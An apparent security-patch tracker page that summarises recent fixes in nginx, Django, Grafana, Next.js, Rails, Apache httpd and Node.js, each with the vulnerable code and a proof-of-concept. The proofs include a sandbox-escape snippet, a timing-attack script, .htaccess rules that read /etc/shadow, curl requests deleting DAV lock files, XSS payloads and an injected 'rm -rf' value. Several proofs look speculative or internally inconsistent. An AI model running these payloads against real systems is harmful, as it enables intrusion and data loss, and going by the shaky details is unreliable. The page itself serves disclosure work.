“Exposing patches before CVEs since 2025”
Saturday, June 27, 2026
Jun 17, 2026, 02:40 PM — nginx/nginx
Commit: 9e293766e73c469c015df5341f1c1d403fb532c6
Author: Roman Arutyunyan
Before the patch, nginx HTTP/3 used `h3c->known_streams\[index\]` (a pointer that could be NULL after a stream closes) to check whether a standard unidirectional stream (control/encoder/decoder) had already been created. Because stream closure and new stream creation are asynchronous and can happen within the same event-loop iteration, a malicious client could close a control/encoder/decoder stream and immediately open a new one of the same type. The server would see `known_streams\[index\] == NULL` (set by the close handler) and allow the new stream, potentially reusing or corrupting shared parsing state such as the QPACK encoder insert buffer. The fix introduces a persistent `created_streams` bitmask that is never cleared, preventing any stream type from being registered a second time regardless of whether the previous instance was closed.
if (h3c->known_streams[index]) {
ngx_log_error(NGX_LOG_INFO, c->log, 0, "stream exists");
return NGX_HTTP_V3_ERR_STREAM_CREATION_ERROR;
}
h3c->known_streams[index] = c;
1. Client opens a QUIC connection to nginx and creates the three mandatory unidirectional streams (control=0x02, encoder=0x06, decoder=0x0a). 2. Client sends a FIN on the encoder stream (stream type 0x02), causing nginx to set h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER] = NULL in ngx_http_v3_close_uni_stream(). 3. In the same event-loop tick (before nginx processes the closure further), client opens a new QUIC unidirectional stream and sends stream-type byte 0x02 (encoder stream) again. 4. nginx evaluates `if (h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER])` → NULL → false, so it registers the new stream and reuses/reinitialises the QPACK encoder insert buffer shared state. 5. The attacker now controls two concurrent encoder streams; by sending crafted QPACK encoder instructions on both, they can corrupt the dynamic header table state, potentially causing out-of-bounds reads/writes in subsequent header decompression and leaking memory or crashing the worker process.
Jun 17, 2026, 02:40 PM — nginx/nginx
Commit: 26d824ec3a2f819300edce0ab3b055751c9843ff
Author: Roman Arutyunyan
Before this patch, nginx's HTTP/2 upstream modules (gRPC and proxy_v2) did not validate header field lengths before using them to calculate buffer sizes for HPACK encoding. An attacker could craft requests with extremely long header values (method, URI, host, or custom headers) exceeding NGX_HTTP_V2_MAX_FIELD, causing integer overflow in the `len` calculation (`1 + NGX_HTTP_V2_INT_OCTETS + very_large_value`) which would lead to under-allocation and subsequent heap buffer overflow when writing the encoded headers. The patch adds length checks that return NGX_ERROR before any buffer allocation occurs when headers exceed NGX_HTTP_V2_MAX_FIELD.
len += 1 + NGX_HTTP_V2_INT_OCTETS + r->method_name.len; tmp_len = r->method_name.len; // ... later: len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len; // No bounds checking on these lengths before buffer allocation
Send an HTTP request through nginx to a gRPC or HTTP/2 upstream with an extremely long URI or custom header value exceeding NGX_HTTP_V2_MAX_FIELD (typically 2^24-1 or similar large value). For example:
curl -X POST 'http://nginx-server/grpc-endpoint' \
-H 'Content-Type: application/grpc' \
-H "X-Custom-Header: $(python3 -c 'print("A" * (2**24))' )"
The `uri_len` or `val_len` value would cause integer overflow in `len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len`, resulting in a small allocation followed by out-of-bounds write when nginx populates the HPACK-encoded header buffer, potentially leading to remote code execution.
Jun 17, 2026, 02:40 PM — nginx/nginx
📈 Patch landed 3 hours 55 minutes before CVE published
Commit: 319a0bff157b15d9061f4712b2edbe6fdd2dee66
Author: Sergey Kandaurov
In nginx's charset filter module, the `recode_from_utf8()` function had a 1-byte out-of-bounds read when processing invalid UTF-8 sequences that were saved across buffer boundaries. The `ngx_utf8_decode()` function stops advancing the pointer on the first invalid byte, so when processing a partially-saved invalid UTF-8 sequence, the `saved` pointer could remain behind `ctx->saved\[ctx->saved_len\]`, causing a subsequent read of memory beyond the saved buffer. The fix ensures the pointer advances past the entire saved sequence in this case.
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, pool->log, 0,
"http charset invalid utf 1");
} else {
Send an HTTP response through nginx with charset conversion enabled (e.g., converting from UTF-8 to another charset like windows-1251), where the response body contains an invalid multi-byte UTF-8 sequence split across two buffer boundaries. For example, send a response body where the last byte of one buffer is 0xC0 (invalid UTF-8 start byte) followed by a continuation byte in the next buffer. This triggers the saved-sequence path with an invalid UTF-8 sequence, causing ngx_utf8_decode() to not advance the pointer, resulting in a 1-byte read past the end of the ctx->saved[] array. Configure: charset_filter_source_charset utf-8; charset windows-1251; Then send a body like: '\xc0\x80' split across buffer boundaries to trigger the overread.
Jun 16, 2026, 10:56 PM — django/django
Commit: 09434486302078c3649e034dfa74cf3f102db20b
Author: diaxoaine
Before the patch, passing a 'Bcc' key in the `extra_headers` argument of `EmailMessage` would cause the BCC addresses to be serialized directly into the email message headers, making them visible to all recipients. The `from`, `to`, `cc`, and `reply-to` headers were explicitly excluded from being written via `extra_headers`, but `bcc` was not, allowing it to leak into the message. The patch raises a `ValueError` when `Bcc` is found in `extra_headers`, directing users to use the `bcc` argument instead.
for name, value in self.extra_headers.items():
# Avoid headers handled above.
if name.lower() not in {"from", "to", "cc", "reply-to"}:
msg[name] = force_str(value, strings_only=True)
from django.core.mail import EmailMessage
email = EmailMessage(
subject='Test',
body='Hello',
from_email='[email protected]',
to=['[email protected]'],
headers={'Bcc': '[email protected]'},
)
msg = email.message()
# Before patch: msg.as_string() would contain 'Bcc: [email protected]'
# visible to [email protected], defeating the purpose of BCC
print(msg.as_string()) # Exposes [email protected] to all recipients
Jun 16, 2026, 07:54 AM — grafana/grafana
Commit: 82ef13993059351bf21de35b8488bbd9b42df4f4
Author: Mariell Hoversholm
The Loki data source plugin allowed path traversal attacks via the resource URL parameter. Before the patch, user-supplied URL segments were directly interpolated into the Loki API path without validation, allowing an attacker to use '../' sequences to escape the '/loki/api/v1/' prefix and access arbitrary backend endpoints. The fix adds URL parsing and path cleaning to reject any paths that don't remain within the '/loki/api/v1/' prefix.
lokiURL := fmt.Sprintf("/loki/api/v1/%s", url)
ctx, span := tracer.Start(ctx, "datasource.loki.CallResource", trace.WithAttributes(
attribute.String("url", lokiURL),
))
Send a CallResource request to the Loki datasource with url set to '../../../internal/metrics' or '%2e%2e%2f%2e%2e%2finternal/metrics'. This would construct lokiURL = '/loki/api/v1/../../../internal/metrics' which after path resolution becomes '/internal/metrics', allowing access to endpoints outside the Loki API namespace on the backend server.
Jun 12, 2026, 09:28 PM — vercel/next.js
Commit: 660026d50b77ccc9b119abf94894cd1cd4ff7fbf
Author: Janka Uryga
In Next.js edge runtime, the `setTimeout` and `setInterval` polyfills incorrectly used `globalThis` (the Node.js global object) instead of the sandboxed edge runtime context object when invoking callbacks via `.apply()`. This allowed malicious code running in the edge sandbox to access Node.js globals like `process.mainModule.require()` and escape the sandbox entirely, gaining access to the Node.js runtime including filesystem operations, arbitrary module loading, and other restricted APIs.
function webSetTimeoutPolyfill(...) {
return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
function webSetIntervalPolyfill(...) {
return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
In an Edge Runtime route handler (e.g. app/route.ts with `export const runtime = 'edge'`):
export async function GET() {
return new Promise((resolve) => {
setTimeout(function() {
// `this` is Node.js globalThis, not the sandbox global
const fs = this.process.mainModule.require('fs')
fs.writeFileSync('/tmp/pwned.txt', 'sandbox escaped!')
resolve(new Response('escaped!'))
})
})
}
This writes a file to the server filesystem from within what should be an isolated edge sandbox, demonstrating full sandbox escape with access to Node.js internals.
Jun 11, 2026, 04:05 PM — rails/rails
Commit: 8a55fbca4c653978cacb856784b386fe9ee8a27c
Author: Jean Boussier
In Rails applications using ActiveSupport::CurrentAttributes, declaring an attribute named `:attributes` causes the generated accessor to shadow the internal `attributes` writer that `reset` relies on. This means `reset` can no longer clear the per-request state stored in `@attributes`, causing sensitive data (user identity, account info, request context) to leak across requests. The patch replaces the hand-maintained denylist with a dynamically computed one that covers all internal methods.
INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:
require 'active_support'
require 'active_support/current_attributes'
Current = Class.new(ActiveSupport::CurrentAttributes) do
attribute :attributes # shadows internal #attributes= used by reset
end
Current.instance.instance_variable_set(:@attributes, { attributes: { user_id: 42 } })
Current.reset
# After reset, @attributes is NOT cleared because the generated #attributes= shadowed the internal setter
puts Current.instance.instance_variable_get(:@attributes).inspect
# => {:attributes=>{:user_id=>42}} -- sensitive data leaked to next request
Jun 11, 2026, 02:40 PM — rails/rails
Commit: 5e75351bf21f29d879a1cb184fb90ef259be5334
Author: Kenta Ishizaki
Declaring an attribute named `:attributes` in a subclass of `ActiveSupport::CurrentAttributes` shadows the internal `attributes` reader/writer that `reset` relies on to clear per-request state. This causes `reset` to stop clearing the state, leaking values across requests — exactly the isolation `CurrentAttributes` is designed to guarantee. The patch computes the invalid attribute names dynamically from the class's own methods, preventing any attribute declaration that would shadow internal methods.
INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:
require 'active_support'
require 'active_support/current_attributes'
C = Class.new(ActiveSupport::CurrentAttributes) do
attribute :attributes # shadows internal @attributes accessor
end
C.attributes = { user_id: 42, admin: true }
puts C.attributes.inspect # => { user_id: 42, admin: true }
C.reset
puts C.attributes.inspect # => { user_id: 42, admin: true } (NOT cleared!)
# State leaks across requests because reset calls `self.attributes = defaults`
# but the generated accessor has overwritten the internal one.
Jun 11, 2026, 11:38 AM — apache/httpd
Commit: 8e210c28a1dfd84a1e9c4fb8fd3d646619639dfd
Author: Joe Orton
An off-by-one error in the socket path truncation logic in cgid_init() caused a one-byte buffer overflow when writing the null terminator. Before the patch, `tmp_sockname\[sizeof(server_addr->sun_path)\]` wrote a null byte one position past the end of the `sun_path` field in the `sockaddr_un` structure, corrupting adjacent memory. The patch corrects this to `tmp_sockname\[sizeof(server_addr->sun_path) - 1\]`, which properly null-terminates within bounds.
if (strlen(tmp_sockname) > sizeof(server_addr->sun_path) - 1) {
tmp_sockname[sizeof(server_addr->sun_path)] = '\0';
Configure Apache httpd with mod_cgid and set ScriptSock to a path exactly equal to sizeof(sun_path) characters (typically 108 bytes on Linux). When cgid_init() processes this path, it detects it's too long and attempts truncation by writing a null byte at index sizeof(server_addr->sun_path) (e.g., index 108), which is one byte past the end of the sun_path array (valid indices 0-107). This overwrites the first byte of whatever field follows sun_path in the sockaddr_un structure or adjacent heap/stack memory. Example: set ScriptSock to a 108-character path like '/tmp/AAAA...AAAA' (108 A's) in httpd.conf - the null write at offset 108 corrupts memory adjacent to the sun_path buffer.
Jun 11, 2026, 11:38 AM — apache/httpd
Commit: 489f5ef688fedb0139b4428bc04d0e18493e430f
Author: Joe Orton
In mod_cgid.c, `temp_core` was allocated using `sizeof(core_module)` instead of `sizeof(core_request_config)`. Since `core_module` is a module descriptor struct (typically much smaller than `core_request_config`), this results in allocating too little memory for the `core_request_config` structure. Subsequent writes to fields of `temp_core` beyond the allocated size would corrupt adjacent heap memory, potentially leading to crashes or memory corruption exploitable for privilege escalation or code execution.
temp_core = (core_request_config *)apr_palloc(r->pool, sizeof(core_module));
Send a CGI request via mod_cgid that triggers get_req() to process a request. The daemon allocates sizeof(core_module) bytes (e.g., ~80 bytes on 64-bit) for a core_request_config struct (which is much larger). When the code writes fields like body_indeterminate, use_default_accept_ranges, etc. into temp_core, it overflows into adjacent pool memory. A crafted request that causes extensive use of core_request_config fields post-allocation could corrupt heap metadata or adjacent allocations, potentially causing a crash (DoS) or exploitable memory corruption in the cgid daemon process.
Jun 11, 2026, 11:37 AM — apache/httpd
Commit: d7ac43a29f73ed60dcb322abad41a93a10394784
Author: Joe Orton
Before the patch, the `get_req` function in mod_cgid read environment variable lengths (`curlen`) from a Unix socket without validating the size before allocating and reading into a buffer. A malicious or compromised cgid daemon (or a process that hijacked the socket) could send an extremely large `curlen` value, causing `apr_pcalloc` to allocate a huge buffer or triggering integer issues, and then reading that many bytes from the socket into the allocated region. Additionally, `uri_len` and `args_len` had no upper bound checks, and `env_count` was signed allowing negative values to bypass the `env_count < 0` check in certain scenarios. The patch adds `ENV_COUNT_MAX` (256) bound on env_count, upper bounds on uri_len and args_len (APR_PATH_MAX), and per-variable length validation (`curlen > APR_PATH_MAX`) in the environment reading loop.
if (req->env_count < 0 || req->uri_len == 0
|| req->filename_len > APR_PATH_MAX || req->filename_len == 0
|| req->argv0_len > APR_PATH_MAX || req->argv0_len == 0
|| req->loglevel > APLOG_TRACE8) {
return APR_EINVAL;
}
A malicious client connecting to the cgid Unix socket sends a crafted cgid_req_t with env_count=1, valid filename/argv0/uri lengths, then sends a single environment variable with curlen=0xFFFFFFFF (4GB). The server calls `apr_pcalloc(r->pool, 0xFFFFFFFF + 1)` which wraps to 0 or allocates a tiny buffer, then `sock_read(fd, environ[0], 0xFFFFFFFF)` reads ~4GB into that tiny allocation, causing heap corruption. Exploit: craft socket message with env var length field set to `\xff\xff\xff\xff` (or large value exceeding APR_PATH_MAX) to trigger heap overflow in the worker process.
Jun 10, 2026, 08:10 PM — nginx/nginx
Commit: bedf18f95d76b93d15335dee8c642b86e6baeac2
Author: Sergey Kandaurov
The nginx secure_link module used early-exit byte-by-byte MD5 hash comparison (ngx_memcmp and individual byte checks), which leaks timing information about how many bytes of the hash match. An attacker can exploit response time differences to incrementally determine the correct hash value byte-by-byte, eventually forging valid secure links without knowing the secret key. The patch replaces the comparison with a constant-time XOR accumulation that always examines all 16 bytes before returning a result.
if (ngx_memcmp(hash_buf, md5_buf, 16) != 0) {
goto not_found;
}
# Timing attack to recover valid secure link hash without knowing secret:
# For each byte position i (0-15), try all 256 possible hex byte values.
# Measure response time for each candidate - the correct byte value
# will take measurably longer to reject (or accept) due to early-exit comparison.
#
# Example script:
import requests, time, statistics
target = 'http://example.com/s/TOKEN/resource'
# For old-style secure_link, hash is hex-encoded in URL path
# Attacker measures timing for partial matches:
for byte_val in range(256):
candidate = f'{byte_val:02x}' + 'xx' * 15 # vary first byte
times = []
for _ in range(100):
start = time.perf_counter()
r = requests.get(f'http://example.com/s/{candidate}/file')
times.append(time.perf_counter() - start)
print(f'{byte_val:02x}: avg={statistics.mean(times):.6f}s')
# The byte value with the highest avg response time reveals the correct first byte.
# Repeat for each subsequent byte position to recover the full 32-hex-char hash.
Jun 10, 2026, 08:06 AM — grafana/grafana
Commit: d4f2ee742b336ba3d550e5d84a273312fc8ca575
Author: Mihai Turdean
When Zanzana resolved permissions and mapped them back to legacy RBAC format, the scope was derived from the action prefix rather than the resource type. For sub-resource actions like `folders.permissions:read`, this produced `folders.permissions:uid:<uid>` instead of `folders:uid:<uid>`. Since legacy RBAC's `canAdmin` check evaluates `EvalPermission(folders.permissions:read, folders:uid:<uid>)`, the scope never matched and a user with admin rights on a folder could not manage that folder's permissions even though they were authorized to do so. The fix scopes objects by the resource type Zanzana listed them under, ensuring correct permission matching.
func scopeFromAction(action, name string) string {
parts := strings.SplitN(action, ":", 2)
if parts[0] == "" {
return name
}
return ac.Scope(parts[0], "uid", name)
}
1. Grant user Alice 'admin' on folder uid='folder-123' in Zanzana.
2. Zanzana maps this to permissions including action='folders.permissions:read' scoped on 'folders.permissions:uid:folder-123'.
3. Legacy RBAC canAdmin check evaluates: EvalPermission('folders.permissions:read', 'folders:uid:folder-123').
4. The scope 'folders.permissions:uid:folder-123' != 'folders:uid:folder-123', so the check FAILS.
5. Result: Alice cannot manage permissions on folder-123 despite having admin rights, AND conversely, if an attacker could craft a token referencing 'folders.permissions:uid:X', they might match unintended permission checks that also use that malformed scope prefix.
Jun 9, 2026, 03:52 PM — django/django
Commit: 46c5e76f0bcc76bfce19ad7ba07f716fc653a822
Author: ar3ph
When Django's `startproject` or `startapp` command downloads a template archive from a URL, the Content-Disposition header's filename was used directly with `os.path.join()` to construct a path within a temp directory. An attacker-controlled server could return a filename like `/nonexistent/../../etc/passwd` or an absolute path, causing the file to be written outside the intended temporary directory. The fix replaces `os.path.join()` with `safe_join()`, which raises `SuspiciousFileOperation` if the resulting path escapes the base directory.
guessed_path = os.path.join(tempdir, guessed_filename)
Set up a malicious HTTP server that responds to template download requests with: `Content-Disposition: attachment; filename="/tmp/evil_file.tgz"`. Then run: `django-admin startproject --template http://malicious-server/template.tgz myproject`. Before the patch, `os.path.join('/tmp/tmpXXX', '/tmp/evil_file.tgz')` returns `/tmp/evil_file.tgz` (absolute path wins), causing `shutil.move()` to write the archive to an attacker-specified path outside the temp directory, potentially overwriting arbitrary files writable by the user.
Jun 9, 2026, 02:56 PM — django/django
Patch landed 5 days 23 hours 26 minutes after CVE published
Commit: 142b881cecaddc334cabec139e701c0e4b9798da
Author: Jacob Walls
The UpdateCacheMiddleware used a substring check (`directive in cache_control`) to detect Cache-Control directives like 'private', 'no-cache', 'no-store', and 'public'. This meant that an extension directive like 'myprivate' or 'nopublic' would be falsely matched, causing responses that should be cached to not be cached, or causing Authorization-based Vary headers to be incorrectly omitted. More critically, the inverse case for 'public' means that a response with a custom directive containing 'public' as a substring would skip the Authorization vary header, potentially serving a user-specific cached response to other users. The fix replaces substring matching with exact token matching using `split_header_value`.
if cache_control and any(
directive in cache_control
for directive in (
"private",
"no-cache",
"no-store",
)
):
# An attacker or misconfigured app sets a Cache-Control header with a custom directive # containing 'public' as a substring, e.g., 'nopublic': # # Response headers: Cache-Control: nopublic # Request has Authorization header # # Before patch: 'public' in 'nopublic' == True, so the Authorization Vary header # is NOT added, meaning the response may be cached and served to other users # without varying on the Authorization header. # # Concrete test: import requests # Craft response with Cache-Control: nopublic # GET /sensitive-view/ with Authorization: token abc123 # Django caches response without Vary: Authorization # Second request from different user also gets the first user's cached response
Jun 8, 2026, 07:54 PM — grafana/grafana
Commit: d0fa74cf094dc2e32db9f3e0007f951850bee14e
Author: Khalil Haji
Before the patch, the contact point settings redaction logic used case-sensitive key matching when identifying secret fields to redact. An attacker or user with write access could submit secret field keys with non-canonical casing (e.g., 'INTEGRATIONKEY' instead of 'integrationKey') to bypass redaction, causing the plaintext secret to be returned in API responses instead of being redacted. The patch makes the field extraction and redaction logic case-insensitive so secrets are properly identified and redacted regardless of key casing.
func extractField(settings map[string]any, path schema.IntegrationFieldPath) (string, bool, error) {
val, ok := settings[path.Head()]
if !ok {
return "", false, nil
}
POST /api/v1/provisioning/contact-points with body: {"name": "test", "type": "pagerduty", "settings": {"INTEGRATIONKEY": "my-secret-key", "severity": "critical"}}. When subsequently GET /api/v1/provisioning/contact-points is called, the response would include {"settings": {"INTEGRATIONKEY": "my-secret-key"}} in plaintext instead of redacting it, because the redaction logic only matched the canonical key name 'integrationKey' (exact case) and failed to match 'INTEGRATIONKEY'.
Jun 8, 2026, 11:53 AM — nodejs/node
Commit: ba82a4124a597908c1dbbf1819628c04bad4ca06
Author: Matteo Collina
Before this patch, when HTTP/2 header blocks were handed off to JavaScript (via HandleHeadersFrame), the memory they occupied was immediately decremented from the session's memory accounting (maxSessionMemory), even though the JS objects could still hold references to that header data for the lifetime of the stream. This meant an attacker could send many requests with large headers, and once the headers were dispatched to JS, that memory would no longer count against the session limit, allowing effectively unlimited memory consumption. The patch fixes this by retaining the header memory charge until the stream is removed from the session.
DecrementCurrentSessionMemory(stream->current_headers_length_); stream->current_headers_length_ = 0;
Connect to a Node.js HTTP/2 server with maxSessionMemory=1 (1MB limit), set initialWindowSize=0 (to stall DATA frames and keep streams alive), then send hundreds of requests each with large cookie headers (e.g., 120 'cookie: a=1' headers). Before the patch, each request's headers are decremented from session memory immediately after being dispatched to JS, so the server never rejects new streams with ENHANCE_YOUR_CALM despite exceeding the memory limit. This allows an attacker to consume unbounded server memory, causing OOM. The test added in this commit (test-http2-max-session-memory-stalled-headers.js) demonstrates the exploit: 400 requests with 120 cookie headers each, with window size 0 to keep streams stalled — before the patch, rejected would remain 0 and memory would grow unboundedly.
Jun 8, 2026, 09:50 AM — grafana/grafana
Commit: 512eb3fc36f289016f9c4c1f20779976e73d70f8
Author: Alex Khomenko
The LinkButton component in @grafana/ui rendered an <a> element with the href prop passed directly without sanitization. An attacker could inject a javascript: URL as the href value, which would execute arbitrary JavaScript when a user clicked the link. The patch extracts href from the spread props, sanitizes it via textUtil.sanitizeUrl (which neutralizes dangerous schemes like javascript:, data:, and vbscript: to about:blank), and places the sanitized value after {...otherProps} so it always wins.
<a
className={linkButtonStyles}
{...otherProps}
tabIndex={disabled ? -1 : 0}
aria-disabled={disabled}
ref={tooltip ? undefined : ref}
Render <LinkButton href="javascript:alert(document.cookie)">Click me</LinkButton> — before the patch, clicking the rendered anchor would execute alert(document.cookie) in the browser context. Any Grafana plugin or dashboard component that passes user-controlled or backend-sourced URLs to LinkButton is vulnerable to this XSS vector.
Jun 5, 2026, 10:27 AM — apache/httpd
Commit: 0bc2ece957a4461978a5ff14f24182a3be05eed9
Author: Eric Covener
In .htaccess (per-directory) context, modules like mod_rewrite, mod_setenvif, and mod_proxy_fcgi allowed use of file-reading expression functions (file(), filesize(), filemod()) and file-test operators (-d, -e, -f, -s, -L, -h, -x) without restriction. An attacker who could place or modify an .htaccess file could use these functions to read arbitrary filesystem content (e.g., file('/etc/passwd')) or probe file existence/properties outside the web root. The patch centralizes the restriction by applying AP_EXPR_FLAG_RESTRICTED_FILE_FUNC in ap_expr_parse_cmd_mi() whenever the context is htaccess (cmd->pool == cmd->temp_pool), blocking these filesystem-exposing functions.
/* Use restricted ap_expr() parser in htaccess context. */
if (cmd->pool == cmd->temp_pool) {
flags |= AP_EXPR_FLAG_RESTRICTED;
}
Place the following in an .htaccess file in any directory the attacker controls on the server:
RewriteEngine On
RewriteCond "%{file:/etc/passwd}" "root"
RewriteRule ^ /leaked [R=200,L]
Or in mod_setenvif context:
SetEnvIfExpr "%{file:/etc/shadow}" =~ /root/ SHADOW_LEAKED=1
Before the patch, these expressions would be evaluated without restriction in .htaccess context, allowing the contents of arbitrary files to be read and used in conditional logic, effectively leaking filesystem contents via HTTP response behavior.
Jun 5, 2026, 10:17 AM — apache/httpd
Commit: 52cb79b19e110bdd42bffc696844f801fb3c4a2d
Author: Eric Covener
In `ap_regname`, the capture group index was read from the PCRE name table without bounds checking. A regex with a very large capture group number (up to 65535, as PCRE allows) would cause `apr_array_push` to be called in a tight loop up to 65535 times, allocating excessive memory. The patch adds a sanity check limiting capture group indices to 1024, returning -1 for unreasonably large values, and callers now propagate this as a configuration error.
int capture = ((offset[0] << 8) + offset[1]);
while (names->nelts <= capture) {
apr_array_push(names);
}
In an Apache httpd configuration file, use a <Directory> or <Location> block with a regex containing a large named capture group number. Because PCRE internally numbers named groups, a specially crafted regex (e.g., using (?P<name>...) nested deeply or via a compiled regex where the name table entry encodes a large index like 0xFF 0xFF) could encode capture=65535, causing the loop `while (names->nelts <= 65535) apr_array_push(names);` to allocate ~65535 array entries. Example: compile a regex externally where the nametable entry has bytes [0xFF, 0xFF, 'n', 'a', 'm', 'e', 0], then use it in a ProxyMatch/DirectoryMatch directive to trigger OOM during server startup/config parsing.
Jun 5, 2026, 10:09 AM — apache/httpd
📈 Patch landed 3 days 8 hours 22 minutes before CVE published
Commit: 7e871beec56d41fe098f48f5a5bcb1525c448d77
Author: Eric Covener
Before this patch, the DAV filesystem repository handler (dav_fs_get_resource) had no check preventing WebDAV clients from directly accessing or manipulating the internal DAV state directory (DAV_FS_STATE_DIR, typically '.DAV'). This directory contains lock database files and other internal state. An attacker could use WebDAV methods (GET, PUT, DELETE, PROPFIND, etc.) to read, modify, or delete these internal state files, potentially corrupting the lock database, bypassing WebDAV locks, or leaking sensitive server-side state. The patch adds an explicit check that denies access when the requested path's filename or parent directory name matches DAV_FS_STATE_DIR.
ctx->pathname = s;
/* Create resource descriptor */
# Attacker directly accesses the DAV state directory to read or modify lock database: curl -X PROPFIND http://victim/webdav/.DAV/ -H 'Depth: 1' # Or to read the lock database file: curl http://victim/webdav/.DAV/DAVLock # Or to delete the lock database, bypassing all existing WebDAV locks: curl -X DELETE http://victim/webdav/.DAV/DAVLock # Or to access a resource inside the state dir: curl -X GET http://victim/webdav/subdir/.DAV/DAVLock
Jun 5, 2026, 09:36 AM — apache/httpd
Commit: 541dc008b38079dc71ef663d4dc9f272a71ce50c
Author: Joe Orton
The code before the patch contained integer overflow vulnerabilities in bounds checking for line length validation in mod_substitute. When checking `vb.strlen + len + replen > cfg->max_line_length`, if the sum of these apr_size_t values overflowed, the comparison would yield a false result, allowing the write to proceed even when the combined length exceeded the max_line_length limit. The patch fixes this by restructuring the comparisons to avoid overflow: checking each addend individually against the remaining space.
if (vb.strlen + len + replen > cfg->max_line_length)
return APR_ENOMEM;
...
if (space_left < len + replen)
return APR_ENOMEM;
Configure Apache with mod_substitute and a Substitute directive. Send a response body where the pattern matches repeatedly, such that the replacement accumulates. Craft a scenario where vb.strlen is near SIZE_MAX and len + replen wraps around to a small value: e.g., vb.strlen = 0xFFFFFFFFFFFFFF00, len = 0x80, replen = 0x80 -> sum overflows to a small value < max_line_length, bypassing the check. In practice, exploit by crafting content that triggers many substitutions causing the internal varbuf to grow beyond max_line_length, potentially leading to excessive memory allocation / denial of service.
Jun 5, 2026, 09:27 AM — nodejs/node
Commit: d3a822a947d67324aaf16f04146ea40d4950bfcd
Author: semimikoh
Before the patch, `closeIdleConnections()` only considered connections with `last_message_start_ == 0` as idle, meaning connections that had been established but hadn't yet sent any data (pre-request phase) were not included. An attacker could establish many TCP connections without sending any HTTP data, keeping them open and preventing the server from closing them via `closeIdleConnections()`, leading to resource exhaustion. The patch adds a `received_data_` flag so connections that have not yet sent data are also treated as idle and properly closed.
if (parser->last_message_start_ == 0) {
result.emplace_back(parser->object());
}
// Attacker opens many TCP connections to the HTTP server without sending data
const net = require('net');
const sockets = [];
for (let i = 0; i < 1000; i++) {
const s = net.createConnection(port, '127.0.0.1');
sockets.push(s);
}
// Server operator calls server.closeIdleConnections() expecting all idle sockets to be closed
// Before patch: none of these sockets are closed because last_message_start_ is not 0 yet
// (it gets set when the parser is assigned to the connections list, but received_data_ tracks whether data arrived)
// Result: sockets remain open, consuming server resources indefinitely
Jun 4, 2026, 03:48 PM — apache/httpd
📈 Patch landed 4 days 2 hours 43 minutes before CVE published
Commit: e86bf540f166b3a322f7e7f9cd4aad4cd44deee6
Author: Joe Orton
The FTP proxy directory listing code used `ap_escape_uri()` for href attributes in generated HTML links. `ap_escape_uri()` does not escape HTML special characters like `<`, `>`, `"`, and `&`, so a malicious FTP server could return filenames containing HTML/JavaScript that would be injected unescaped into the href attribute of generated links. The fix replaces `ap_escape_uri()` with `ap_os_escape_path()` (for path encoding) wrapped in `ap_escape_html()` (for HTML entity encoding), properly neutralizing any HTML-special characters in filenames.
str = apr_psprintf(p, "%s <a href=\"%s\">%s %s</a>\n",
ap_escape_html(p, ctx->buffer),
ap_escape_uri(p, filename),
ap_escape_html(p, filename),
ap_escape_html(p, link_ptr));
A malicious FTP server returns a directory listing with a filename like: `"><script>alert(document.cookie)</script><a href="x` When the proxy generates the HTML listing, `ap_escape_uri()` would not escape the `"` or `<>` characters in the filename, producing: `<a href=""><script>alert(document.cookie)</script><a href="x">` This executes arbitrary JavaScript in the browser of any user viewing the FTP directory listing through the Apache proxy.
Jun 4, 2026, 07:52 AM — apache/httpd
Commit: 85d1cb9a337d90884c07549093cf5381d86f3316
Author: Joe Orton
The ctauditscts script constructed a shell command string by interpolating unsanitized values (specifically tmp_leaf_pem\[1\] filename and timestamp_ms, and potentially log_url from the database) directly into a string passed to os.system(). An attacker who could control the temporary file path or log_url value (e.g., via a malicious log URL in the SQLite database containing shell metacharacters) could inject arbitrary shell commands. The fix replaces os.system() with subprocess.call() using a list of arguments, which bypasses the shell entirely and prevents command injection.
cmd = 'verify_single_proof.py --cert %s --timestamp %s %s' % \
(tmp_leaf_pem[1], timestamp_ms, log_url_arg)
print '>%s<' % cmd
os.system(cmd)
If an attacker can insert a malicious log_url into the loginfo SQLite database (e.g., via a compromised CT log or database manipulation), they could set log_url to: 'example.com/log; rm -rf /tmp; echo pwned'. This would result in log_url_arg = '--log_url example.com/log; rm -rf /tmp; echo pwned', and the constructed cmd string passed to os.system() would execute the injected shell commands. Alternatively, if the audit file path contains shell metacharacters (e.g., a filename like '/tmp/audit$(whoami).bin'), the os.system() call would execute embedded commands.